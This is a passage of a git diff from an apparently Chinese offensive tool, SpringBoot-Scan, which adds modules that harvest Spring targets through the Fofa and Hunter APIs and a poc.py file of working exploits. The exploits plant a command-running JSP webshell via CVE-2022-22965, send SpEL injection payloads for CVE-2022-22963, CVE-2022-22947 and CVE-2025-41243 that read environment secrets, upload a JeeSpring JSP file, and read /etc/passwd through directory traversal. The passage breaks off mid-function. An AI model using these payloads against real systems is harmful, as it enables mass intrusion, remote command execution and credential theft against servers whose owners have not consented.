print("请不要输入无意义的字符串") + sys.exit() + search = input("[.] 请输入要测绘的语句(默认icon_hash=\"116323821\"||body=\"Whitelabel Error Page\"): ") + if search == "": + searchs = str("aWNvbl9oYXNoPSIxMTYzMjM4MjEifHxib2R5PSJXaGl0ZWxhYmVsIEVycm9yIFBhZ2Ui") + else: + search = base64.b64encode(search.encode("utf-8")) + searchs = str(search.decode('utf-8')) + f2 = open("fofaout.txt", "wb+") + f2.close() + Key_Test(key,proxies,choices,searchs) + count = len(open("fofaout.txt", 'r').readlines()) + if count >= 1: + cprint("[+][+][+] 已经将Fofa的资产结果导出至 fofaout.txt ,共%d行记录" % count,"red") + sys.exit() diff --git a/inc/hunter.py b/inc/hunter.py new file mode 100644 index 0000000..26fba40 --- /dev/null +++ b/inc/hunter.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python +# coding=utf-8 + ################ + # AabyssZG # +################ + +import requests, sys, json, re, random, base64 +from termcolor import cprint +from time import sleep +import urllib3 +urllib3.disable_warnings() + +def JSON_load(text): + json_str = text + data = json.loads(json_str) + if data["data"]["arr"]: + # 提取ip和port信息 + ip_port_list = [(match["url"]) for match in data["data"]["arr"]] + else: + cprint("[-] 没有搜索到任何资产,请确认你的语法是否正确","yellow") + sys.exit() + # 打印提取的信息 + for service in ip_port_list: + outurl = str(service) + f2 = open("hunterout.txt", "a") + f2.write(str(outurl) + '\n') + f2.close() + print(f"Service: {outurl}") + +def Key_Dowload(key,proxies,choices,searchs): + cprint("======通过Hunter密钥进行API下载数据======","green") + Headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", + "Content-Type": "application/x-www-form-urlencoded" + } + pagesys = (choices%20) + pageszc = (choices//20) + if pagesys > 0: + pages = pageszc + 1 + else: + pages = pageszc + i = 1 + while i <= pages: + page_url = "&page=" + str(i) + keyurl = "https://hunter.qianxin.com/openApi/search?api-key=" + str(key) + "&search=" + str(searchs) + "&page_size=20&is_web=1" + dowloadurl = str(keyurl + page_url) + cprint("[+] 正在尝试下载第 %d 页数据" % i, "red") + try: + requests.packages.urllib3.disable_warnings() + dowloadre = requests.get(url=dowloadurl, headers=Headers, timeout=10, verify=False, proxies=proxies) + if ("\"code\":200" in str(dowloadre.text)): + JSON_load(dowloadre.text) + cprint("-" * 45, "red") + sleep(2) + else: + cprint("[-] API返回状态码为 %d" % dowloadre.status_code,"yellow") + cprint("[-] 请根据返回的状态码,参考官方手册:https://hunter.qianxin.com/home/helpCenter?r=5-1-1","yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print(e) + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + i = i + 1 + +def Key_Test(key,proxies,choices,searchs): + cprint("======您的Hunter密钥进行API对接测试======","green") + Headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", + "Content-Type": "application/x-www-form-urlencoded" + } + keytesturl = "https://hunter.qianxin.com/openApi/search?api-key=" + key + "&search=dGl0bGU9IuWMl-S6rCI=&page=1&page_size=10&is_web=1" + try: + requests.packages.urllib3.disable_warnings() + testre = requests.get(url=keytesturl, headers=Headers, timeout=10, verify=False, proxies=proxies) + json_str = testre.text + data = json.loads(json_str) + recode = data["code"] + if str(recode) == "200": + cprint("[+] 您的key有效,测试成功!", "red") + rest_quota = data["data"]["rest_quota"] + cprint("[+] %s" % rest_quota, "red") + sleep(2) + Key_Dowload(key,proxies,choices,searchs) + else: + cprint("[-] API返回状态码为 %d" % recode,"yellow") + cprint("[-] 请根据返回的状态码,参考官方手册:https://hunter.qianxin.com/home/helpCenter?r=5-1-1","yellow") + sys.exit() + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def HunterDowload(key,proxies): + cprint("======开始对接鹰图接口进行Spring资产测绘======","green") + cprint('[+] 您的Hunter密钥为:' + key ,"green") + try: + choices = input("\n[.] 请输入要测绘的资产数量(默认100条): ") + if choices == '': + choices = "100" + elif int(choices) <= 0: + print("请不要输入负数") + sys.exit() + choices = int(choices) + except Exception as e: + print("请不要输入无意义的字符串") + sys.exit() + search = input("[.] 请输入要测绘的语句(默认app.name=\"Spring Whitelabel Error\"): ") + if search == "": + searchs = str("YXBwLm5hbWU9IlNwcmluZyBXaGl0ZWxhYmVsIEVycm9yIg==") + else: + search = base64.urlsafe_b64encode(search.encode("utf-8")) + searchs = str(search.decode('utf-8')) + f2 = open("hunterout.txt", "wb+") + f2.close() + Key_Test(key,proxies,choices,searchs) + count = len(open("hunterout.txt", 'r').readlines()) + if count >= 1: + cprint("[+][+][+] 已经将Hunter的资产结果导出至 hunterout.txt ,共%d行记录" % count,"red") + sys.exit() diff --git a/inc/output.py b/inc/output.py index 803f006..c1ced98 100644 --- a/inc/output.py +++ b/inc/output.py @@ -1,5 +1,8 @@ #!/usr/bin/env python # coding=utf-8 + ################ + # AabyssZG # +################ import time, os, sys @@ -15,19 +18,17 @@ def logo(): \$$ $$| $$ $$| $$ | $$| $$ | $$ \$$ $$| $$ $$ \$$ $$ \$$ $$ \$$ $$ \$$$$$$ | $$$$$$$ \$$ \$$ \$$ \$$ _\$$$$$$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$$$ | $$ | \__| $$ - | $$ \$$ $$ - \$$ \$$$$$$ + | $$ \$$ $$ [+] V2.7.1-2025年 欢度国庆佳节版 + \$$ \$$$$$$ [+] 感谢一路上支持和关注我们的师傅 ______ - / \ - | $$$$$$\ _______ ______ _______ +-------------------------------------+ - | $$___\$$ / \| \ | \ + + - \$$ \ | $$$$$$$ \$$$$$$\| $$$$$$$\ + Version: 2.03 + - _\$$$$$$\| $$ / $$| $$ | $$ + Author: 曾哥(@AabyssZG) + - | \__| $$| $$_____| $$$$$$$| $$ | $$ + Whoami: https://github.com/AabyssZG + - \$$ $$ \$$ \\$$ $$| $$ | $$ + + + / \ +-------------------------------------+ + | $$$$$$\ _______ ______ _______ + Version: 2.7.1 + + | $$___\$$ / \| \ | \ + Author: 曾哥(@AabyssZG) + + \$$ \ | $$$$$$$ \$$$$$$\| $$$$$$$\ + Whoami: https://github.com/AabyssZG + + _\$$$$$$\| $$ / $$| $$ | $$ +-------------------------------------+ + | \__| $$| $$_____| $$$$$$$| $$ | $$ + 多进程速度提升: Fkalis + + \$$ $$ \$$ \\$$ $$| $$ | $$ + Whoami: github.com/WingBy-Fkalis + \$$$$$$ \$$$$$$$ \$$$$$$$ \$$ \$$ +-------------------------------------+ - - ''' print(logo0) @@ -35,15 +36,40 @@ def usage(): print(''' 用法: 对单一URL进行信息泄露扫描: python3 SpringBoot-Scan.py -u http://example.com/ - 读取目标TXT进行批量信息泄露扫描: python3 SpringBoot-Scan.py -f url.txt + 读取目标TXT进行批量信息泄露扫描: python3 SpringBoot-Scan.py -uf url.txt 对单一URL进行漏洞扫描: python3 SpringBoot-Scan.py -v http://example.com/ + 读取目标TXT进行批量漏洞扫描: python3 SpringBoot-Scan.py -vf url.txt 扫描并下载SpringBoot敏感文件: python3 SpringBoot-Scan.py -d http://example.com/ + 读取目标TXT进行批量敏感文件扫描: python3 SpringBoot-Scan.py -df url.txt 使用HTTP代理并自动进行连通性测试: python3 SpringBoot-Scan.py -p <代理IP:端口> + 从TXT文件中导入自定义HTTP头部: python3 SpringBoot-Scan.py -t header.txt + 通过ZoomEye密钥进行API下载数据: python3 SpringBoot-Scan.py -z + 通过Fofa密钥进行API下载数据: python3 SpringBoot-Scan.py -f + 通过Hunter密钥进行API下载数据: python3 SpringBoot-Scan.py -y +免责声明: + 1.如果您下载、安装、使用、修改本工具及相关代码,即表明您信任本工具 + 2.在使用本工具时造成对您自己或他人任何形式的损失和伤害,我们不承担任何责任 + 3.如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任 + 4.请您务必审慎阅读、充分理解各条款内容,特别是免除或者限制责任的条款,并选择接受或不接受 + 5.除非您已阅读并接受本协议所有条款,否则您无权下载、安装或使用本工具 + 6.您的下载、安装、使用等行为即视为您已阅读并同意上述协议的约束 + ''') + +""" 参数: -u --url 对单一URL进行信息泄露扫描 - -f --file 读取目标TXT进行批量信息泄露扫描 + -uf --urlfile 读取目标TXT进行批量信息泄露扫描 -v --vul 对单一URL进行漏洞利用 + -vf --vulfile 读取目标TXT进行批量漏洞扫描 -d --dump 扫描并下载SpringBoot敏感文件(可提取敏感信息) + -df --dumpfile 读取目标TXT进行批量敏感文件扫描(可提取敏感信息) -p --proxy 使用HTTP进行代理(默认连通性测试www.baidu.com) - ''', end='') + -z --zoomeye 通过对接ZoomEye的API批量下载Spring的资产测绘数据 + -f --fofa 通过对接Fofa的API批量下载Spring的资产测绘数据 + -y --hunter 通过对接Hunter的API批量下载Spring的资产测绘数据 + -t --newheader 从TXT文件中导入自定义HTTP头部 +""" + + + diff --git a/inc/poc.py b/inc/poc.py new file mode 100644 index 0000000..28c21be --- /dev/null +++ b/inc/poc.py @@ -0,0 +1,614 @@ +#!/usr/bin/env python +# coding=utf-8 + ################ + # AabyssZG # +################ + +import requests, sys, json, re, random, base64, string, tempfile, os, zipfile, textwrap +from termcolor import cprint +from time import sleep +import urllib3 +urllib3.disable_warnings() +outtime = 10 + +ua = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", + "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0", + "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00"] + +def CVE_2022_22965(url, proxies): + Headers_1 = { + "User-Agent": random.choice(ua), + "suffix": "%>//", + "c1": "Runtime", + "c2": "<%", + "DNT": "1", + "Content-Type": "application/x-www-form-urlencoded" + } + payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + data1 = payload_linux + data2 = payload_win + getpayload = url + payload_http + try: + requests.packages.urllib3.disable_warnings() + requests.post(url, headers=Headers_1, timeout = outtime, data=data1, allow_redirects=False, verify=False, proxies=proxies) + sleep(0.5) + requests.post(url, headers=Headers_1, timeout = outtime, data=data2, allow_redirects=False, verify=False, proxies=proxies) + sleep(0.5) + requests.get(getpayload, headers=Headers_1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + sleep(0.5) + test = requests.get(url + "tomcatwar.jsp", timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + if (test.status_code == 200): + cprint("[+] [CVE-2022-22965] Webshell为:" + url + "tomcatwar.jsp?pwd=tomcat&cmd=whoami" ,"red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2022-22965] " + url + "tomcatwar.jsp?pwd=tomcat&cmd=whoami" + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证CVE-2022-22965漏洞不存在或者已经被利用","yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证CVE-2022-22965漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def CVE_2022_22963(url, proxies): + payload = f'T(java.lang.Runtime).getRuntime().exec("whoami")' + + data = 'test' + header = { + 'spring.cloud.function.routing-expression': payload, + 'Accept-Encoding': 'gzip, deflate', + 'Accept': '*/*', + 'Accept-Language': 'en', + 'User-Agent': random.choice(ua), + 'Content-Type': 'application/x-www-form-urlencoded' + } + path = 'functionRouter' + + try: + urltest = url + path + requests.packages.urllib3.disable_warnings() + req = requests.post(url=urltest, headers=header, timeout = outtime, data=data, verify=False, proxies=proxies) + code = req.status_code + text = req.text + rsp = '"error":"Internal Server Error"' + if (code == 500) and (rsp in text): + cprint(f'[+] [CVE-2022-22963] {url},请手动反弹Shell', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2022-22963] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证CVE-2022-22963漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证CVE-2022-22963漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def CVE_2022_22947(url, proxies): + headers1 = { + 'Accept-Encoding': 'gzip, deflate', + 'Accept': '*/*', + 'Accept-Language': 'en', + 'User-Agent': random.choice(ua), + 'Content-Type': 'application/json' + } + + headers2 = { + 'User-Agent': random.choice(ua), + 'Content-Type': 'application/x-www-form-urlencoded' + } + + payload_windows = '''{\r + "id": "hacktest",\r + "filters": [{\r + "name": "AddResponseHeader",\r + "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"dir\\"}).getInputStream()))}"}\r + }],\r + "uri": "http://example.com",\r + "order": 0\r + }''' + payload_linux = payload_windows.replace('dir', 'id') + + try: + requests.packages.urllib3.disable_warnings() + random_string = generate_random_route(5) + payload_new = payload_linux.replace('hacktest', random_string) + requests.post(url=url + "actuator/gateway/routes/" + random_string, timeout = outtime, data=payload_new, headers=headers1, json=json ,verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout = outtime, verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, verify=False, + proxies=proxies) + if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)): + cprint(f'[+] [CVE-2022-22947] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2022-22947] " + url + '\n') + f2.close() + else: + random_string = generate_random_route(5) + payload_new = payload_linux.replace('hacktest', random_string) + requests.post(url=url + "actuator/gateway/routes/" + random_string, data=payload_new, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout = outtime, verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, verify=False, + proxies=proxies) + if ('' in str(re3.text)): + cprint(f'[+] [CVE-2022-22947] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2022-22947] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证CVE-2022-22947漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证CVE-2022-22947漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def JeeSpring_2023(url,proxies): + headers1 = { + 'User-Agent': random.choice(ua), + 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', + 'Accept-Encoding': 'gzip, deflate', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', + 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', + 'Connection': 'close' + } + + payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' + payload = base64.b64decode(payload2) + path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' + + try: + requests.packages.urllib3.disable_warnings() + re1 = requests.post(url=url + path, data=payload, headers=headers1, timeout = outtime, verify=False, proxies=proxies) + code1 = re1.status_code + if ('jsp' in str(re1.text)) and (int(code1) == 200): + cprint(f'[+] [JeeSpring_2023] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [JeeSpring_2023] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证2023JeeSpring任意文件上传漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证2023JeeSpring文件上传漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def JolokiaRCE(url,proxies): + path1 = 'jolokia' + path2 = 'actuator/jolokia' + path3 = 'jolokia/list' + + try: + requests.packages.urllib3.disable_warnings() + re1 = requests.post(url=url + path1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + code1 = re1.status_code + re2 = requests.post(url=url + path2, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + code2 = re2.status_code + if ((int(code1) == 200) or (int(code2) == 200)): + retest = requests.get(url=url + path3, timeout = outtime, verify=False, proxies=proxies) + code3 = retest.status_code + if ('reloadByURL' in str(retest.text)) and (code3 == 200): + cprint(f'[+] [Jolokia-Realm-JNDI-RCE-1] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [Jolokia-Realm-JNDI-RCE-1] " + url + '\n') + f2.close() + elif ('createJNDIRealm' in str(retest.text)) and (code3 == 200): + cprint(f'[+] [Jolokia-Realm-JNDI-RCE-2] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [Jolokia-Realm-JNDI-RCE-2] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证Jolokia系列RCE漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证Jolokia系列RCE漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def CVE_2021_21234(url,proxies): + payload1 = 'manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../' + payload2 = 'log/view?filename=/windows/win.ini&base=../../../../../../../../../../' + payload3 = 'manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../' + payload4 = 'log/view?filename=/etc/passwd&base=../../../../../../../../../../' + + try: + requests.packages.urllib3.disable_warnings() + re1 = requests.post(url=url + payload1, timeout = outtime, verify=False, proxies=proxies) + re2 = requests.post(url=url + payload2, timeout = outtime, verify=False, proxies=proxies) + re3 = requests.post(url=url + payload3, timeout = outtime, verify=False, proxies=proxies) + re4 = requests.post(url=url + payload4, timeout = outtime, verify=False, proxies=proxies) + if (('MAPI' in str(re1.text)) or ('MAPI' in str(re2.text))): + cprint(f'[+] [CVE-2021-21234-Win] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2021-21234-Win] " + url + '\n') + f2.close() + elif (('root:x:' in str(re3.text)) or ('root:x:' in str(re4.text))): + cprint(f'[+] [CVE-2021-21234-Linux] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2021-21234-Linux] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证Spring Boot目录遍历漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证Spring Boot目录遍历漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def SnakeYAML_RCE(url,proxies): + Headers_1 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/x-www-form-urlencoded" + } + Headers_2 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/json" + } + payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" + payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" + path = 'env' + + try: + requests.packages.urllib3.disable_warnings() + urltest = url + path + re1 = requests.post(url=urltest, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies) + re2 = requests.post(url=urltest, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies) + if ('example.yml' in str(re1.text)): + cprint(f'[+] [SnakeYAML_RCE-1] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [SnakeYAML_RCE-1] " + url + '\n') + f2.close() + elif ('example.yml' in str(re2.text)): + cprint(f'[+] [SnakeYAML_RCE-2] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [SnakeYAML_RCE-2] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证SnakeYAML-RCE漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证SnakeYAML-RCE漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def Eureka_xstream_RCE(url,proxies): + Headers_1 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/x-www-form-urlencoded" + } + Headers_2 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/json" + } + payload_1 = "eureka.client.serviceUrl.defaultZone=http://127.0.0.2/example.yml" + payload_2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http://127.0.0.2/example.yml\"}" + path1 = 'env' + path2 = 'actuator/env' + + try: + requests.packages.urllib3.disable_warnings() + urltest1 = url + path1 + urltest2 = url + path2 + re1 = requests.post(url=urltest1, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies) + re2 = requests.post(url=urltest2, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies) + if ('127.0.0.2' in str(re1.text)): + cprint(f'[+] [Eureka_Xstream-1] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [Eureka_Xstream-1] " + url + '\n') + f2.close() + elif ('127.0.0.2' in str(re2.text)): + cprint(f'[+] [Eureka_Xstream-2] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [Eureka_Xstream-2] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证Eureka_Xstream反序列化漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证Eureka_Xstream反序列化漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def CVE_2018_1273(url,proxies): + Headers = { + "User-Agent": random.choice(ua), + "Content-Type": "application/x-www-form-urlencoded" + } + path1 = 'users' + path2 = 'users?page=0&size=5' + payload1 = "username[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")]=chybeta&password=chybeta&repeatedPassword=chybeta" + payload2 = "username[#this.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('whoami')\")]=asdf" + try: + requests.packages.urllib3.disable_warnings() + urltest1 = url + path1 + urltest2 = url + path2 + re1 = requests.get(url=urltest1, headers=Headers, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + code1 = re1.status_code + if ((int(code1) == 200) and ('Users' in str(re1.text))): + cprint(f'[+] [CVE-2018-1273] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2018-1273] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证Spring_Data_Commons远程命令执行漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 验证Spring_Data_Commons RCE漏洞发生错误,已记入日志error.log") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def FileRead(filename): + try: + f =open(filename) #打开目标文件 + f.close() + except FileNotFoundError: + cprint ("未找到同目录下的TXT文件,请确保放在一个目录下", "magenta") #如果未找到文件,输出错误 + sys.exit() + except PermissionError: + cprint ("无法读取TXT文件(无权限访问)", "magenta") #如果发现目标文件无权限,输出错误 + sys.exit() + +def CVE_2025_41243(url, proxies): + headers1 = { + 'Accept-Encoding': 'gzip, deflate', + 'Accept': '*/*', + 'Accept-Language': 'en', + 'User-Agent': random.choice(ua), + 'Content-Type': 'application/json' + } + + headers2 = { + 'User-Agent': random.choice(ua), + 'Content-Type': 'application/x-www-form-urlencoded' + } + + payload = """{ + "id": "", + "uri": "http://1.2.3.4:8443/", + "predicates": [{ + "name": "Path", + "args": { + "pattern": "/malicious" + } + }], + "filters": [ + { + "name": "AddRequestHeader", + "args": { + "name": "X-SpEL-get-environment", + "value": "#{@environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*'][0].source.![{#this.getKey, #this.getValue.toString}]}" + } + }, + { + "name": "AddRequestHeader", + "args": { + "name": "X-SpEL-get-systemProperties", + "value": "#{@systemProperties.![{#this.key, #this.value.toString}]}" + } + } +] +} + """ + + random_string = generate_random_route(5) + try: + payload_json = json.loads(payload) + except json.JSONDecodeError as e: + print(f"Error parsing JSON: {e}") + exit(1) + payload_json['id'] = random_string + + + try: + requests.packages.urllib3.disable_warnings() + requests.post(url=url + "actuator/gateway/routes/" + random_string, headers=headers1, + timeout=outtime, json=payload_json, verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, verify=False, + proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, 